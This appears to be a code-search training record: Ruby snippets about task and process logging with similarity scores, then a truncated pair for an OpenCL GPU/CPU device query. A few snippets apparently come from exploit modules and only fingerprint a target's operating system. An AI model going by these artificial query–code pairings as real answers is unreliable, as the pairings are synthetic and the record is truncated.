[ "def task_details_for_log\n \"Node #{@puppet_mclient.node_id}, task #{@task}, manifest \"\\\n \"#{@puppet_mclient.manifest}\"\n end", "def what_task\n if running_task?\n puts \"Current task: \" + get_last_task_name + \", #{(Time.now.to_i - get_last_task_stime.to_i).duration}\"\n else\n puts \"No task running!\"\n end\n end", "def info_string\n \"#{step}: #{process}\"\n end", "def log_file_name\n @task_id == 'test_runner' ? \"#{@test_name}\" : @task_id\n end", "def build_run_msg(task)\n date = Time.now.strftime(\"%b %d %H:%M:%S\")\n hostname = Socket.gethostname\n username = Etc.getpwuid(Process.uid).name\n \"#{date} #{hostname} #{$$} (#{username}) JOB (#{task})\"\n end", "def task_class_name\n \"#{process_definition_key}::#{activity_id}\"\n end", "def format_task_process\n XES::Trace.new.tap do |trace|\n trace.concept_name = \"task process %s\" % Util::UUID.generate\n trace.attributes << XES.string(\"pione:traceType\", \"task_process\")\n trace.events = @task_process_log.records.map do |record|\n XES::Event.new.tap do |event|\n # standard attributes\n event.concept_name = record.name\n # event.org_resource = record.caller\n event.time_timestamp = record.timestamp\n event.lifecycle_transition = record.transition\n\n # pione extension attributes\n event.attributes << XES.string(\"pione:ruleType\", record.rule_type)\n event.attributes << XES.string(\"pione:inputs\", record.inputs)\n event.attributes << XES.string(\"pione:parameters\", record.parameters)\n end\n end\n end\n end", "def display_task(task)\n\t\t\tsplit_task(task.name).each_with_index do |name_line, line_index|\n\t\t\t\tcol_1 = pad((task.start_time if line_index==0), 5)\n\t\t\t\tcol_2 = pad(name_line, @name_width)\n\t\t\t\tcol_3 = pad((task.elapsed_time if line_index==0), @elapsed_time_width)\n\n\t\t\t\tif task.current? and TrackingConfig[:color_current_task]\n\t\t\t\t\tcurrent_task_color = TrackingConfig[:current_task_color]\n\t\t\t\t\tcurrent_task_color = TrackingConfig.defaults[:current_task_color] unless String.colors.include? current_task_color\n\n\t\t\t\t\tcol_1 = col_1.colorize current_task_color\n\t\t\t\t\tcol_2 = col_2.colorize current_task_color\n\t\t\t\t\tcol_3 = col_3.colorize current_task_color\n\t\t\t\tend\n\n\t\t\t\tputs \"| #{col_1} | #{col_2} | #{col_3} |\"\n\t\t\tend\n\t\tend", "def print_task(task)\n print \"==> \".info, task.bold, \"\\n\"\nend", "def print_task()\n puts @task_name\n puts \" Assigned to: #{@assigned_to}\"\n puts \" Priority: #{@priority}\"\n print \" Start Date: #{@date_start.month}/\"\n print \"#{@date_start.day}/\"\n puts \"#{@date_start.year}\"\n print \" End Date: #{@date_end.month}/\"\n print \"#{@date_end.day}/\"\n puts \"#{@date_end.year}\"\n self.get_duration\n end", "def log_line(line)\n puts \"cron_task:continuous:#{@process_name} : #{line}\"\n end", "def name\n\t\t\t@task\n end", "def get_last_task_name\n line = ''\n IO.popen(\"tail -n 1 #{TRACK_FILE}\") { |f| line = f.gets }\n if line == nil\n return false\n end\n\n line = line.split \"\\t\"\n if running_task?\n line.pop\n else\n line.pop 2\n end\n line.join \"\\t\"\n end", "def get_log\n SimpleWorker.service.log(task_id)\n end", "def runlog_thread_filename(name)\n @filename + '-' + name.to_s\n end", "def print_task_info(task:)\n path = task.files.first['path'].chomp(\"/tasks/#{task.files.first['name']}\")\n module_dir = if path.start_with?(Bolt::Config::Modulepath::MODULES_PATH)\n \"built-in module\"\n else\n path\n end\n @stream.puts task.to_h.merge(module_dir: module_dir).to_json\n end", "def external_task\n output[:task]\n end", "def process_name\n\n\t\t::Pantheios::Core.process_name\n\tend", "def getTaskName\r\n\t\t\t\t\treturn @taskName\r\n\t\t\t\tend", "def current_task_name\n return nil unless enabled?\n self.class.current_task_name\n end", "def show\n @tasks.each do |project_name, project_tasks|\n @output.puts project_name\n project_tasks.each do |task|\n @output.printf(\" [%c] %d: %s : %s \\n\", (task.done? ? 'x' : ' '), task.id, task.description, task.deadline)\n end\n @output.puts\n end\n end", "def get_deploy_process_title(stack=nil, stage=nil)\n return nil if (stack.nil? or stage.nil?)\n \"Deployinator - deploy #{stack}:#{stage}\"\n end", "def currentTask _args\n \"currentTask _args;\" \n end", "def task_name\n raise \"This Stage has not been bound to a name\" if @name.nil?\n name.name\n end", "def exp_task\n\t\texperiments.each do |e|\n\t\t\tif !e.task_desc.nil?\n\t\t\t\te.task_desc + ' '\n\t\t\tend\n\t\tend\n\tend", "def process_log\n @service.respond_to?(:process_log) ? @service.process_log : \"\"\n end", "def task_status(proxmox, pve_node, task)\n status_info = proxmox_get(proxmox, \"nodes/#{pve_node}/tasks/#{task}/status\")\n \"#{status_info['status']}#{status_info['exitstatus'] ? \":#{status_info['exitstatus']}\" : ''}\"\n end", "def inspect\n \"<Celluloid::Task:0x#{object_id.to_s(16)} @type=#{@type.inspect}, @running=#{@fiber.alive?}>\"\n end", "def show # Show tasks method\n all_tasks.map.with_index { |l, i| \"(#{i.next}): #{l}\"} # Show all tasks array in numerical order and whether a task is completed\n end", "def get_name(task_name)\n @view.get_name(task_name)\n end", "def log_name\n \"##{id || was || \"?\"}\"\n end", "def task\n @keys[:task]\n end", "def taskDescription _args\n \"taskDescription _args;\" \n end", "def task_report\n print \"task #{@name} is #{@state}\"\n case @state\n when 'waiting' ; puts \"\"\n when 'running'\n puts \" and \"+VT100.RED(\"has not completed\")+\" because\"\n @emits.each { |event_name|\n event = @joblist.find(event_name)\n event.report_consumers(@joblist)\n }\n end\n end", "def displayRakeTasks\n Rake.application.tasks.each do |iTask|\n log_info \"+-#{iTask.name}: #{iTask.comment}\"\n iTask.prerequisites.each do |iPrerequisiteTaskName|\n log_info \"| +-#{iPrerequisiteTaskName}\"\n end\n log_info '|'\n end\n end", "def stdout\n \"#{dir}__job.stdout\"\n end", "def process_name\r\n @process_name ||= $0.dup\r\n end", "def status_prefix\n \" #{Logger.hierarchy execution_order}rakefile:#{@linenumber.to_s.bold} \"\n end", "def log_path\n \"#{Rails.root}/tmp/nsc/#{id.to_s}/processing_log.log\" \n end", "def curr_task_id\n ENV['mapred_tip_id']\n end", "def log_file_name\n @component_name\n end", "def dispatch_id\n local_ip + '/' + Process.pid.to_s\n end", "def getTaskId\r\n\t\t\t\t\treturn @taskId\r\n\t\t\t\tend", "def task_title\n return @task_title if @task_title\n task.nil? ? \"\" : task.title \n end", "def unit_of_work_id\n Thread.current[:lumberjack_logger_unit_of_work_id] \n end", "def task_for_configuration(config_name)\n \"#{@project_name}:#{config_name}\"\n end", "def log()\n return @log unless @log.nil?\n lg = find_task(:log)\n return lg unless lg.nil?\n @env.log\n end", "def taskParent _args\n \"taskParent _args;\" \n end", "def name\n id = arguments&.first&.fetch(:id)\n job_id = arguments&.first&.fetch(:job_id)\n \"Analysis for: #{id}, job=#{job_id}\"\n end", "def log_title_for(log)\n title = log.title\n title ||= \"#{ log.target.class.name.humanize } - #{ log.target }\"\n\n if log.target and log.target.respond_to?(:to_url)\n title = link_to(title, log.target.to_url)\n end\n\n return title\n end", "def print(*arg)\n CE.task.call(*arg)\nend", "def get_completed_by(task)\n task.completed_by.full_name rescue '-'\n end", "def process_id\n\n\t\t::Pantheios::Core.process_id\n\tend", "def dump_info_to\n \"to task #{ target_task_id } as '#{ status }'#{ ' >obsolete<' if obsolete }\"\n end", "def call(log, logger)\n # Header with date, time, log level and process info\n message = \"#{log.level_to_s} [#{log.process_info}]\"\n\n # Tags\n message << ' ' << log.tags.collect { |tag| \"[#{tag}]\" }.join(' ') if log.tags && (log.tags.size > 0)\n\n # Duration\n message << \" (#{log.duration_human})\" if log.duration\n\n # Class / app name\n message << \" #{log.name}\"\n\n # Log message\n message << \" -- #{log.message}\" if log.message\n\n # Payload\n if payload = log.payload_to_s\n message << ' -- ' << payload\n end\n\n # Exceptions\n if log.exception\n message << \" -- Exception: #{log.exception.class}: #{log.exception.message}\\n\"\n message << log.backtrace_to_s\n end\n message\n end", "def task_name\n object_name == module_name ? 'init' : object_name\n end", "def get_process_name\n processes = client.sys.process.get_processes\n current_pid = session.sys.process.getpid\n processes.each do |proc|\n return proc['name'] if proc['pid'] == current_pid\n end\n return nil\n end", "def my_application_log_name\n \"projects/#{@project_id}/logs/my_application_log\"\n end", "def show_tasks\n\t\tputs \"here are the tasks on the #{self.name} list...\"\n\t\t@tasks.map.with_index {|task, i| puts \"#{i.next}. \" + task.description + \" | complete: \" + task.status.to_s}\n\t\tputs \"\\n\"\n\tend", "def name\n return \"New Log\" if !id\n source.capitalize + \" log at \" + fault_time.strftime(\"%FT%T\")\n end", "def report_pid\n @process[:report_pid]\n end", "def to_s # Method to display completion status and description of Task\n \"#{represent_status} : #{description}\"\n end", "def result_pure_log(title, message, processlog)\n logprefix = get_log_prefix(title)\n execute \"result_pure_log\" do\n command \"echo '#{logprefix} #{message}' >> #{processlog}\"\n end\nend", "def getBatchProcessLogObjName\r\n\t\t\treturn \"mfiforce__Batch_Process_Log__c\"\r\n\t\tend", "def process_id\n return @process_id\n end", "def to_s\n \"thread_pool2_job-#{@handler.source_location}-#{@params}\"\n end", "def get_execution_info; end", "def progname\n @loggers.first.progname\n end", "def taskCompleted _args\n \"taskCompleted _args;\" \n end", "def title\n this_group = nil\n task_title = @task.title || ''\n colon = task_title.index( ':' )\n this_group = task_title[ 0..( colon - 1 ) ] unless ( colon.nil? )\n\n return this_group\n end", "def print_out_line\n name = @run_name\n name += \" (res: #@restart_id)\" if @restart_id\n name += \" real_id: #@real_id\" if @real_id\n beginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s) %3s%1s\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s, percent_complete, \"%\")\n if ctd\n #beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n end\n beginning += \" ---#{@comment}\" if @comment\n beginning\n end", "def output(str)\n str = str.to_s.strip\n str = nil if str && str.length == 0\n str ||= \"Completed (no output)\"\n output = Time.now.strftime(\"%H:%M:%S\") + \" [#{self}] \"\n output << str\n print output + \"\\n\"\n output\n end", "def taskNull \n \"taskNull\" \n end", "def log(msg)\n ConfigureTask.log(msg)\n end", "def report_pid\n @process[:report_pid]\n end", "def task\n return @task\n end", "def name\n return @name unless @name.nil?\n \"#{@name_prefix}host:#{Socket.gethostname} pid:#{Process.pid}\" rescue \"#{@name_prefix}pid:#{Process.pid}\"\n end", "def perform(time)\n puts \"This job was published at #{}\"\n end", "def print_task_summary(taskid, names, callers, completed, running, task_not_known, wrapper_failure, success, fails, runtime, rpcstats)\n if callers.size > 1 || names.size > 1\n out.puts\n out.puts(\"%s received more than 1 task name or caller name for this task, this should not happen\" % Util.colorize(:red, \"WARNING\"))\n out.puts(\"happen in normal operations and might indicate forged requests were made or cache corruption.\")\n out.puts\n end\n\n out.puts(\"Summary for task %s\" % [Util.colorize(:bold, taskid)])\n out.puts\n out.puts(\" Task Name: %s\" % names.join(\",\"))\n out.puts(\" Caller: %s\" % callers.join(\",\"))\n out.puts(\" Completed: %s\" % (completed > 0 ? Util.colorize(:green, completed) : Util.colorize(:yellow, completed)))\n out.puts(\" Running: %s\" % (running > 0 ? Util.colorize(:yellow, running) : Util.colorize(:green, running)))\n out.puts(\" Unknown Task: %s\" % Util.colorize(:red, task_not_known)) if task_not_known > 0\n out.puts(\" Wrapper Failure: %s\" % Util.colorize(:red, wrapper_failure)) if wrapper_failure > 0\n out.puts\n out.puts(\" Successful: %s\" % (success > 0 ? Util.colorize(:green, success) : Util.colorize(:red, success)))\n out.puts(\" Failed: %s\" % (fails > 0 ? Util.colorize(:red, fails) : fails))\n out.puts\n out.puts(\" Average Run Time: %.2fs\" % [runtime / (running + completed)])\n\n if rpcstats.noresponsefrom.empty?\n out.puts\n out.puts rpcstats.no_response_report\n end\n\n if running > 0\n out.puts\n out.puts(\"%s nodes are still running, use 'mco tasks status %s' to check on them later\" % [Util.colorize(:bold, running), taskid])\n end\n end", "def task_invoked_by(_options)\n :task\n end", "def task_invoked_by(_options)\n :task\n end", "def show_tasks(tasks)\n tasks.each_with_index do |task, index|\n status = task.done? ? \"x\" : \" \"\n puts \"#{index + 1}. [#{status}] #{task.name}\"\n end\n end", "def file_name\n \"#{task_name}.rake\"\n end", "def run_log_url(filename)\n \"http://#{Deployinator.hostname}/run_logs/view/#{filename}\"\n end", "def task_title(item)\n num_chars = @max_chars - item.size - @taskprefix.size - 2\n computed_line = (@linecharcmds * num_chars)\n $pastel.yellow(@taskprefix) + $pastel.bold(item) + \" \" + $pastel.yellow.dim(computed_line)\n end", "def display_pids(action)\n puts \"-----> Wonderful! What is the PID of the job you would like to #{action}?\"\n output = IO.read(\"jobs.txt\")\n puts \"#{output}\"\n job = gets.chomp.downcase\n make_call(\"pid\",action, job)\n end", "def to_s\n @to_s || \"#{hostname}(#{local_ip}):#{Process.pid}:#{Thread.current.object_id}:#{Thread.current[:path]}:#{Thread.current[:queues]}\"\n end", "def get_execution_info\n execution = @swf.describe_workflow_execution(\n domain: @domain,\n execution: @execution\n )\n execution[\"executionInfo\"]\n end", "def task\n Camunda::Task.find_by_business_key_and_task_definition_key! business_key, task_key\n end", "def task_help(name)\n load_tasks\n\n klass, task = find_by_namespace(name)\n\n # set '$thor_runner' to true to display full namespace\n $thor_runner = true\n\n klass.task_help(shell , task)\n end", "def currentTasks _args\n \"currentTasks _args;\" \n end", "def progress_info\n\n color=\"#AAAAAA\"\n progress=0\n message=\"Log not available.\"\n\n if self.cluster_stdout\n\n color=\"blue\"\n progress=0\n message=\"Execution not started.\"\n\n self.cluster_stdout.each_line do |line| \n if /\\([0-9]* run \\/ [0-9]* fail \\/ [0-9]* done \\/ [0-9]* left\\)/.match(line)\n run = /[0-9]* run/.match(line)[0].to_s.split[0].to_f \n done = /\\/ [0-9]* done/.match(line)[0].to_s.split[1].to_f\n failed = /\\/ [0-9]* fail/.match(line)[0].to_s.split[1].to_f\n left = /\\/ [0-9]* left/.match(line)[0].to_s.split[1].to_f\n progress=100*(run+done+failed)/(run+done+failed+left)\n # set toolbar color \n red=255*(failed)/(failed+done+run)\n blue=255*(run).to_f/(failed+done+run).to_f\n green=128*(done).to_f/(failed+done+run).to_f\n color=\"rgb(#{red.to_i},#{green.to_i},#{blue.to_i})\"\n if progress!= 100 && (\n\t CbrainTask::COMPLETED_STATUS.include?(self.status) ||\n\t CbrainTask::FAILED_STATUS.include?(self.status) ||\n\t self.status == \"Post Processing\" ||\n\t self.status == \"Data Ready\")\n color=\"red\"\n end\n if progress==100\n\t color=\"green\"\n end\n message=\"PSOM tasks: #{run.to_i} run / #{failed.to_i} fail / #{done.to_i} done / #{left.to_i} left\"\n end\n end\n end \n return {:color => color,:percentage => progress, :message => message, :show_percentage => true}\n end", "def runnable_summary_path(activity)\n if @sequence && @sequence_run\n append_white_list_params sequence_summary_with_run_path(@sequence, activity, @sequence_run.run_for_activity(activity))\n elsif @run && @run.activity == activity\n append_white_list_params summary_with_run_path(activity, @run)\n else\n raise Exception.new(\"no run or sequence run available\")\n end\n end", "def info_display\n @queue << \"i d\"\n end", "def get_audit_label\n (self.es_content ? self.es_content.name : (self.es_content_detail_element_parent ? self.es_content_detail_element_parent.name : \"\")) + \" \" + self.sequence.to_s\n end", "def dump\n puts\n puts \"WorkFlow '#{ @label }' consists of the following tasks:\"\n @task_list.each{ |t| t.dump }\n puts\n end", "def display_tasks\n puts \"What do you want to do? \\n\"\n puts TASKS.values\n end", "def print_tasks\n # find project\n @project = Project.find(params[:id])\n # check user is manager of project\n if (!@superuser_is_superadmin && !(superuser_is_part_of_project? @project))\n flash[:warning] = \"You can't see stats for this project\"\n redirect_to lato_core.root_path and return false\n end\n # datas\n @status = (params[:status] ? params[:status] : ['wait', 'develop', 'test', 'completed'])\n @collaborators = (params[:collaborators] ? params[:collaborators] : @project.collaborators.ids)\n @start_date = params[:start_date]\n @end_date = params[:end_date]\n @show_expected_time = (params[:show_expected_time] === '1')\n # find tasks\n @tasks = @project.tasks.where(status: @status, collaborator_id: @collaborators)\n unless @start_date.blank?\n @tasks = @tasks.where('start_date >= ?', @start_date.to_date)\n end\n unless @end_date.blank?\n @tasks = @tasks.where('end_date <= ?', @end_date.to_date)\n end\n # disable layout\n render layout: false\n end", "def dump_info_from\n \"from task #{ source_task_id } as '#{ status_id }'#{ ' >obsolete<' if obsolete }\"\n end", "def task_names\n map do |task|\n task.name\n end\n end" ]
[ "0.76715034", "0.7146184", "0.69054306", "0.6739442", "0.6714096", "0.66814494", "0.6627756", "0.6586225", "0.65422004", "0.6248001", "0.622084", "0.6180432", "0.61715424", "0.61617327", "0.6156669", "0.61336595", "0.6077837", "0.60668504", "0.6047268", "0.60148144", "0.5954913", "0.59371823", "0.5891425", "0.58898985", "0.5829198", "0.57951546", "0.5779105", "0.5776407", "0.57643497", "0.576277", "0.5762659", "0.5762143", "0.5729853", "0.5728628", "0.57235396", "0.57031494", "0.5689726", "0.5686667", "0.5679592", "0.56762487", "0.5633899", "0.56312895", "0.56284785", "0.5627731", "0.5626455", "0.56191343", "0.561526", "0.5589992", "0.55899864", "0.5584338", "0.5581384", "0.5579757", "0.55712384", "0.5567363", "0.5566235", "0.5562891", "0.5552188", "0.5548687", "0.5545683", "0.5540223", "0.5536329", "0.55304754", "0.55274844", "0.55260605", "0.5522121", "0.5508579", "0.5502062", "0.54825974", "0.54726285", "0.5467703", "0.5440885", "0.54344034", "0.54313236", "0.54299676", "0.5420492", "0.54133755", "0.5413177", "0.5412607", "0.540863", "0.54007024", "0.54007024", "0.53935015", "0.53717446", "0.53686905", "0.5353159", "0.5346032", "0.5345904", "0.5342775", "0.53418046", "0.5341445", "0.534086", "0.5336354", "0.5333455", "0.53320056", "0.5328013", "0.53111774", "0.5308004", "0.52978766", "0.5294471", "0.52940184" ]
0.66913104
5
Find a GPU or CPU associated with the first available platform
def create_device() # Identify a platform platforms_buf = ' ' * 4 * 32 err = clGetPlatformIDs(1, platforms_buf, nil) platform = platforms_buf.unpack("L")[0] abort("Couldn't identify a platform") if err < 0 # Access a device dev_buf = ' ' * 4 * 32 err = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, dev_buf, nil) if err == CL_DEVICE_NOT_FOUND err = clGetDeviceIDs(platform, CL_DEVICE_TYPE_CPU, 1, dev_buf, nil) end abort("Couldn't access any devices") if err < 0 return dev_buf.unpack("Q")[0] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def scan\n # start with the platform/families who have no families (the top levels)\n top = Train::Platforms.top_platforms\n top.each do |_name, plat|\n # we are doing a instance_eval here to make sure we have the proper\n # context with all the detect helper methods\n next unless instance_eval(&plat.detect)\n\n # if we have a match start looking at the children\n plat_result = scan_children(plat)\n next if plat_result.nil?\n\n # return platform to backend\n @family_hierarchy << plat.name\n return get_platform(plat_result)\n end\n\n raise Train::PlatformDetectionFailed, \"Sorry, we are unable to detect your platform\"\n end", "def platform\n @platform ||= Train::Platforms::Detect.scan(self)\n end", "def platform\n fetch('device.platform')\n end", "def get_platform\n rpc_get_fact_direct('kernel')\n end", "def platform_for(node)\n @platforms_handler.known_platforms.find { |platform| platform.known_nodes.include?(node) }\n end", "def platform\n fetch('game.platform')\n end", "def detect_platform\r\n\t\tprint_status(\"Attempting to automatically detect the platform\")\r\n\t\tres = send_serialized_request(\"osname.bin\")\r\n\r\n\t\tif (res.body =~ /(Linux|FreeBSD|Windows)/i)\r\n\t\t\tos = $1\r\n\t\t\tif (os =~ /Linux/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /FreeBSD/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /Windows/i)\r\n\t\t\t\treturn 'win'\r\n\t\t\tend\r\n\t\tend\r\n\t\tnil\r\n\tend", "def platform\n @platform ||= data.platform\n end", "def p4_cpu(os)\n cpu = RbConfig::CONFIG['target_cpu']\n case os\n when :darwin, :linux\n if cpu =~ /i686/\n 'x86'\n elsif cpu =~ /universal/\n 'x86_64'\n else\n cpu\n end\n else\n case cpu\n when /ia/i\n 'ia64'\n else\n cpu\n end\n end\nend", "def platform_name; non_framework_platforms.first; end", "def actual_platform\n platform = nil\n\n if explicit_platform.nil? == false\n platform = explicit_platform\n elsif datastore['PLATFORM']\n platform = datastore['PLATFORM']\n elsif assoc_exploit\n platform = assoc_exploit.target_platform\n end\n\n # If we still have an invalid platform, then we suck.\n if platform.nil?\n raise NoCompatiblePayloadError, \"A platform could not be determined by the generic payload\"\n elsif platform.kind_of?(String)\n platform = Msf::Module::PlatformList.transform(platform)\n end\n\n return platform\n end", "def detect_platform()\r\n\t\tprint_status(\"Attempting to automatically detect the platform...\")\r\n\r\n\t\tpath = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'\r\n\t\tres = send_request_raw(\r\n\t\t\t{\r\n\t\t\t\t'uri' => path\r\n\t\t\t}, 20)\r\n\r\n\t\tif (not res) or (res.code != 200)\r\n\t\t\tprint_error(\"Failed: Error requesting #{path}\")\r\n\t\t\treturn nil\r\n\t\tend\r\n\r\n\t\tif (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\\/td>/m)\r\n\t\t\tos = $1\r\n\t\t\tif (os =~ /Linux/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /Windows/i)\r\n\t\t\t\treturn 'win'\r\n\t\t\tend\r\n\t\tend\r\n\t\tnil\r\n\tend", "def platform\n @platform ||= NoPlatform.new\n end", "def default_device\n devices = OpenclEvaluator.query_devices_with_score\n device = devices.max { |a, b| a[1] <=> b[1] }\n opencl_to_device(device)\n end", "def what_platform\n if @platform == \"PC\"\n puts \"PC are Awesome!\"\n else\n puts \"This platform is inferior\"\n end\n end", "def target_platform\n (target and target.platform) ? target.platform : platform\n end", "def kernel_hardware\n uname('-m')\n end", "def eval_platform\n if @platform == \"PC\"\n puts \"PC are great!\"\n else\n puts \"Your platform is probably underpowered.\"\n end\n end", "def determine_cpu\n cpu = @info[:cpu] = {}\n\n lscpu = @shell.query('LSCPU', 'lscpu')\n if lscpu.empty?\n cpuinfo = @shell.query('cat /proc/cpuinfo')\n count = cpuinfo.lines.select { |l| l =~ /^processor\\s*: [0-9]/}\n speed = cpuinfo.lines.select { |l| l =~ /MHz/ }\n cpu[:count] = count.size\n cpu[:speed] = speed[0].to_s.gsub(/.* /, '')\n else\n cpu[:count] = lscpu.select { |l| l =~ /CPU\\(s\\)/ }.gsub(/.* /, '')\n cpu[:speed] = lscpu.select { |l| l =~ /MHz/ }.gsub(/.* /, '')\n end\n end", "def platform\n kernel.platform\n end", "def is_sunxi_hardware()\n fh = File.open(\"/proc/cpuinfo\")\n return nil if not fh\n fh.each_line {|l|\n if l =~ /^Hardware/ and l =~ /(Allwinner)|(sun\\di)/ then\n return true\n end\n }\n return nil\nend", "def find(type, major, minor)\n sync do\n devices.detect do |dev|\n dev.type == type && dev.major == major && dev.minor == minor\n end\n end\n end", "def find_server_platform(server_name)\n get_platform = VALID_PLATFORMS.select { |name| server_name.downcase.include?(name) }\n get_platform.first\n end", "def platform\n data.platform\n end", "def detect_platform\n @@platform_features ||= {\n :interpreter => detect_interpreter,\n :interpreter_language => detect_interpreter_language,\n :ipv4 => detect_reachable_ip,\n :ruby_version => RUBY_VERSION,\n }.merge(detect_os).merge(detect_hardware)\n end", "def detect_device(asm_file)\n first_line = File.open(asm_file, 'r') { |f| f.readline }\n md = first_line.match %r{(p|chip=)([0-9A-Za-z]+)}\n if !md\n raise \"Could not determine device from first line of #{asm_file}.\"\n end\n md[2]\nend", "def platform\n @_platform ||= self.context.platform\n end", "def platform\n @_platform ||= self.context.platform\n end", "def platform\n @_platform ||= self.context.platform\n end", "def query_target_platform\n @attributes[:query_target_platform]\n end", "def platform\n @spec.platform\n end", "def maybe_chef_platform_lookup(resource)\n Chef::Platform.find_provider_for_node(node, resource)\n end", "def get_device(os, seq)\n count=0\n for device in @devices\n class_name = device.class.name\n if(class_name == \"WX2Calabash::AdroidDevice\")\n if(os.eql?(\"android\") || os.eql?(\"mobile\"))\n count = count + 1\n if (count == seq)\n return device\n end\n end\n elsif (class_name == \"WX2Calabash::IOSDevice\")\n if(os.eql?(\"ios\") || os.eql?(\"mobile\"))\n count = count + 1\n if (count == seq)\n p \"class_name = #{class_name}\"\n return device\n end\n end\n elsif (class_name == \"WinPhone\")\n if(os.eql?(\"WinPhone\") || os.eql?(\"mobile\"))\n count = count + 1\n if (count == seq)\n return device\n end\n end\n elsif (class_name == \"WX2Calabash::WinMacDevice\")\n if(os.eql?(\"pc\"))\n count = count + 1\n if (count == seq)\n p \"class_name = #{class_name}\"\n return device\n end\n end\n end\n end\n return nil\nend", "def platform\n data[:platform]\n end", "def physical_device?\n arches.any? do |arch|\n arch[/arm/, 0]\n end\n end", "def platform\n backend.platform\n end", "def for(platform)\n case platform.to_s\n when 'amazon' then for_amazon\n when 'core_api' then for_core\n end\n end", "def platform_shortname\n if rhel?\n if \"rocky\" == Ohai[\"platform\"]\n \"rocky\"\n else\n \"el\"\n end\n elsif suse?\n \"sles\"\n else\n Ohai[\"platform\"]\n end\n end", "def platform_id\n case handle\n when \"nokia_6260\"\n 0x101fb3f4\n when \"nokia_6600\"\n 0x101f7963\n when \"nokia_6630\"\n 0x101f7964\n when \"nokia_7610\"\n 0x101fd5db\n when \"nokia_e61\"\n 0x20001858\n when \"nokia_n70\", \"nokia_n72\"\n 0x10200f9a\n else\n raise\n end\n end", "def lookup_mobile_device\n # don't use handsetdetection in test environment\n return mock_device if Rails.env.test?\n\n sp = nil\n begin\n @detect_data = handset_detect\n if !@detect_data || @detect_data['status'] != 0\n # not found, can't determine ppi\n # TODO: use local screen matchers\n logger.warn(\"unable to determine PPI using handset detection: \\n#{@detect_data}\")\n return false\n end\n sp = @detect_data['hd_specs']\n rescue => err\n logger.error(err)\n return false\n end\n\n # if general_vendor and general_model are set, try to look up the ppi in our database\n model_data = { :vendor => sp['general_vendor'], :model => sp['general_model'] }\n model_data[:display_size] = sp['display_size'].to_f rescue nil\n model_data[:resolution_x] = sp['display_x'].to_i rescue nil\n model_data[:resolution_y] = sp['display_y'].to_i rescue nil\n model_data[:device_type] = @detect_data['class'].downcase rescue nil\n\n # find or create device for this\n Device.find_or_create_device(model_data)\n end", "def load_platform(v)\n Chef::Log.debug \"[dropwizard_pleaserun] loading platform #{v}\"\n platform_lib = \"pleaserun/platform/#{v}\"\n require platform_lib\n const = PleaseRun::Platform.constants.find { |c| c.to_s.casecmp(v).zero? }\n if const.nil?\n raise PlatformLoadError, \"Could not find platform named '#{v}' after loading library \" \\\n \"'#{platform_lib}'. This is probably a bug.\"\n end\n return PleaseRun::Platform.const_get(const)\nrescue LoadError => e\n raise PlatformLoadError, \"Failed to find or load platform '#{v}'. This could be a typo or \" \\\n \" a bug. If it helps, the error is: #{e}\"\nend", "def p4_platform_label\n case RbConfig::CONFIG[\"target_os\"].downcase\n when /nt|mswin|mingw|cygwin|msys/\n # Ruby on windows is only MinGW via Rubyinstaller.org, though this may\n # not work on all rubies.\n # There are too many permutations of Windows p4api, to automate.\n raise 'Automatic fetching of p4api from perforce FTP is not supported on Windows'\n when /darwin19|darwin[2-9][0-9]/\n \"macosx1015#{p4_cpu(:darwin)}\"\n when /darwin/ \n \"darwin90#{p4_cpu(:darwin)}\"\n when /solaris/\n \"solaris10#{p4_cpu(:solaris)}\"\n when /linux/\n \"linux26#{p4_cpu(:linux)}\" \n end\nend", "def platform\n @attributes[:platform]\n end", "def platform\n System::get_property('platform')\n end", "def platform_name\n self.platform ? self.platform.name : NOT_SET\n end", "def guest_platform\n node[:rightimage][:platform]\n end", "def guest_platform\n node[:rightimage][:platform]\n end", "def get_platform(host_os)\n return :osx if host_os =~ /darwin/\n return :linux if host_os =~ /linux/\n return :windows if host_os =~ /mingw32|mswin32/\n return :unknown\n end", "def graphic_instance?\n has_gpu = `lspci | grep -i -o 'NVIDIA'`\n is_graphic_instance = !has_gpu.strip.empty?\n\n is_graphic_instance\nend", "def platform\n @_platform ||= begin\n os = []\n os << :windows if OS.windows?\n os << :linux if OS.linux?\n os << :osx if OS.osx?\n os << :posix if OS.posix?\n unless OS.windows? || OS.osx?\n os << :ubuntu if command_exists?(\"apt-get\")\n os << :arch if command_exists?(\"pacman\")\n os << :red_hat if command_exists?(\"yum\")\n end\n\n [\n *os,\n *os.map { |x| (x.to_s + OS.bits.to_s).to_sym }\n ]\n end\n end", "def processor_type\n if @processor_type.nil?\n if os_family == 'Windows' && ENV['PROCESSOR_ARCHITECTURE']\n @processor_type = ENV['PROCESSOR_ARCHITECTURE']\n else\n @processor_type = @platform.exec(\"uname\", (os_type(:nice) =~ /Windows|HP-UX/ ? '-m' : '-p')).strip\n end\n end\n \n @processor_type\n end", "def find_device_type\n case request.user_agent\n # when /mac|ios/i\n # :ios\n when /android/i\n :android\n else\n nil\n end\n end", "def find_unique_device(name)\n devs = SimCtl.devices.select {|d| d.name == name}\n\n case devs.length\n when 0\n return nil\n when 1\n return devs[0]\n else\n raise \"more than one device with name\"\n return nil\n end\n \n end", "def platform_shortname\n if platform_family == 'rhel'\n 'el'\n else\n platform\n end\n end", "def available_platform\n downloads.collect(&:platform).flatten.uniq\n end", "def on_os name\n os_kernel = `uname -a`\n os_kernel.downcase.include?(name)\nend", "def platform_list; ['all','xbox-360']; end", "def get_platform\n platform=[]\n testos=`uname -a`\n # puts \"osname is #{testos}\"\n platform << \"raspberry\" if (/arm-linux/ =~ RUBY_PLATFORM) != nil and `uname -a`.include?('armv6')\n platform << \"raspberry\" if `uname -a`.include?('armv6')\n platform << \"raspberry 2\" if (/armv7l-linux/ =~ RUBY_PLATFORM) != nil and !`uname 